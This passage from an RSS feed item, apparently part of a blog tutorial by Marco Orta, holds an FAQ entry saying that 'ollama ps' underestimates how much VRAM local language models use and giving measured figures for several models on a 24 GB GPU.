&lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; How much VRAM does a model in Ollama actually need? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; More than ollama ps says, which underestimates by 4.3 to 6.8 GiB. Measured across four models on a 24 GB card: gpt-oss:20b declares 12.33 GiB and occupies 16.59; qwen3.8 declares 16.61 and occupies 23.36. To decide whether a model fits you have to read the system VRAM counter; the ollama ps column is only good for telling you whether the model was split to CPU. &lt;/p&gt; &lt;/details&gt; &lt;/div&gt; &lt;/section&gt;</content:encoded><category>Tutorials</category><category>AI</category><category>Ollama</category><category>AMD</category><category>GPU</category><category>Local LLM</category><category>ROCm</category><author>Marco Orta</author></item></channel></rss>